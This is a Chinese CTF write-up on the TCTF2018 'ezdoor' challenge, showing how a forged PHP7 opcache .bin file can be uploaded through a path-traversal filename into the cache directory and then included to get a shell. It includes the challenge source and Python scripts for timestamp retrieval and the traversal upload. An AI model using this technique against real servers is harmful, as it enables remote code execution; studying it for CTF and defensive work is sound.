php7的opcache导致的getshell

以TCTF2018的ezdoor为例

相关WP
正解
https://github.com/LyleMi/My-CTF-Challenges/tree/master/ezDoor
非预期解:index.php/. + 条件竞争
https://blog.zsxsoft.com/post/36
非预期解:/x/../index.php/.
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

相关知识点
https://xz.aliyun.com/t/223
https://github.com/GoSecure/php7-opcache-override
要求:

  • 目标服务器是php7并开启了opcache缓存
  • 获得目标详细的各种环境信息,最直接的是拿到phpinfo
  • 支持文件上传,能上传.bin文件到tmp目录下
  • 若目标服务器开启了时间戳校验,要么爆破时间戳,或者cms的大部分文件并不会被修改,时间戳与源码一致

赛题
http://202.120.7.217:9527
访问index.php给出了源码,顺便加了点调试的代码,方便本地调试

 <?php

#error_reporting(1);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';  #/sandbox/ip的sha1/
if(!file_exists($dir)){

  mkdir($dir);  #新建了这个路径
}
if(!file_exists($dir . "index.php")){
#   echo '111111';
  touch($dir . "index.php"); #新建了/sandbox/ip的sha1/index.php
}

function clear($dir) #清空功能
{
  if(!is_dir($dir)){
    unlink($dir);
    return;
  }
  foreach (scandir($dir) as $file) {
    if (in_array($file, [".", ".."])) {
      continue;
    }
    unlink($dir . $file);
  }
  rmdir($dir);
}

switch ($_GET["action"] ?? "") {  #显示路径
  case 'pwd':
    echo $dir;
    break;
  case 'phpinfo':
    echo file_get_contents("phpinfo.txt"); #显示phpinfo.txt
    break;
  case 'reset': #清空路径
    clear($dir);
    break;
  case 'time':
    echo time(); #显示时间
    break;
  case 'upload': #上传
    if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
      break; #需要自定义好参数
    }

    if ($_FILES['file']['size'] > 100000) {
      clear($dir); #大小限制
      break;
    }

    $name = $dir . $_GET["name"]; #获取文件名

    echo '目录-----';
    echo var_dump($dir);
    echo '文件路径-----';
    echo var_dump($name);
    echo '后缀名-----';
    echo var_dump(pathinfo($name)["extension"]);
    echo '是否是正常目录,是就返回0-----';
    echo var_dump(preg_match("/[^a-zA-Z0-9.\/]/", $name));
    echo '检查后缀名是否含有h-----';
    echo var_dump(stristr(pathinfo($name)["extension"], "h"));

    if (preg_match("/[^a-zA-Z0-9.\/]/", $name) || #文件名范围:^a-zA-Z0-9 . / 是正常目录则返回0.不会进入if条件
      stristr(pathinfo($name)["extension"], "h")) { #若文件后缀名含有h,则退出
      break;
    }

    echo '文件是否上传成功:';
    echo var_dump(move_uploaded_file($_FILES['file']['tmp_name'], $name)); #成功上传文件
    $size = 0;
    foreach (scandir($dir) as $file) {
      if (in_array($file, [".", ".."])) {  #上传成功会列出$dir下的目录,遇到文件名有.或者..就跳过
        continue;                          
      }
      $size += filesize($dir . $file); #大小限制
    }
    if ($size > 100000) {
      clear($dir);
    }
    echo 'include file-----';
    echo var_dump($dir . "index.php");
    echo 'content------';
    echo var_dump(file_get_contents($dir . "index.php"));
    echo var_dump(scandir($dir));
    break;
  case 'shell': #限制了两个目录,在这两个目录下可以执行shell命令,说明$dir/index.php是命令执行马
    ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
    include $dir . "index.php"; #会包含index.php
    break;
  #default:
  #  highlight_file(__FILE__);
  #  break;
}

每次遇到新的知识点,需要的就是静下心来读paper

给出一些关键信息的截图

image.png
image.png
image.png
image.png

那么思路来了

  • 先在本地搭建环境,生成自己的index.php的opcache
  • 访问目标服务器的index.php?action=phpinfo,得到phpinfo,并通过项目https://github.com/GoSecure/php7-opcache-override计算得到其system_id
  • 先访问index.php?action=reset再访问index.php?action=time,清空服务器的index.php然后重新touch index.php,并获得其时间戳
  • 修改自己本地的index.php.bin的system_id和时间戳,与服务器相同,并上传到目标服务器的tmp相应目录下
  • 访问index.php?action=shell,成功include index.php,此时以缓存的内容为主,成功 get shell

本地环境搭建

编辑php7的php.ini,添加三句话,然后重启apache,访问得到自己的index.php.bin

opcache.validate_timestamps = 1   ; PHP 7 的默认值为 1,即开启时间戳校验
opcache.file_cache_only = 1      ; PHP 7 的默认值为 0
opcache.file_cache = /tmp/cache
zend_extension=opcache.so ;有些还需要再添加这句
image.png
image.png

image.png

获得目标服务器的system_id和时间戳

index.php?action=phpinfo得到服务器的phpinfo.txt
git clone https://github.com/GoSecure/php7-opcache-override
修改其脚本的内容

image.png

image.png

先reset,再获得服务器index.php的时间戳

image.png

get-time.py

import requests

url = 'http://202.120.7.217:9527/index.php?action=reset'
r = requests.get(url)

url = 'http://202.120.7.217:9527/index.php?action=time'
r = requests.get(url)

tmp =  hex(int(r.text)).replace('0x','')
time = tmp[6:8]+tmp[4:6]+tmp[2:4]+tmp[0:2]
print time

修改本地的index.php.bin的system_id和时间戳

建议用010editor


image.png

上传修改后的index.php.bin到目标服务器对应的tmp目录下

成功包含并get shell

image.png

upload.py

import requests

files = {'file': open("index.php.bin", 'rb')}
url = 'http://202.120.7.217:9527/index.php?action=upload&name=../../../../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/index.php.bin'
print 'upload url:'
print url
r = requests.post(url,files = files)
print r


url = 'http://202.120.7.217:9527/index.php?action=shell'
print 'shell:'
print requests.get(url).text

接下来各种写shell

目标服务器的目录权限限制,导致不能写入一句话木马
目标服务器的system等调用系统命令等函数被禁用,导致无法反弹shell
只能老老实实用php函数,读取想要的东西

读取目录信息,发现可疑的文件或目录
93f4c28c0cf0b07dfd7012dca2cb868cc0228cad

image.png
image.png

判断 93f4c28c0cf0b07dfd7012dca2cb868cc0228cad 是一个文件

image.png

image.png

读取文件
image.png

image.png

base64 -d base64.txt > flag

image.png

得到的是一个opcache的缓存文件,web狗的任务已经完成,接下来是re选手的事了,当时逆向选手已经睡了,我强行逆了一个晚上没搞出来,2333

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,117评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,963评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,897评论 0 240
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,805评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,208评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,535评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,797评论 2 311
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,493评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,215评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,477评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,988评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,325评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,971评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,807评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,544评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,455评论 2 266

推荐阅读更多精彩内容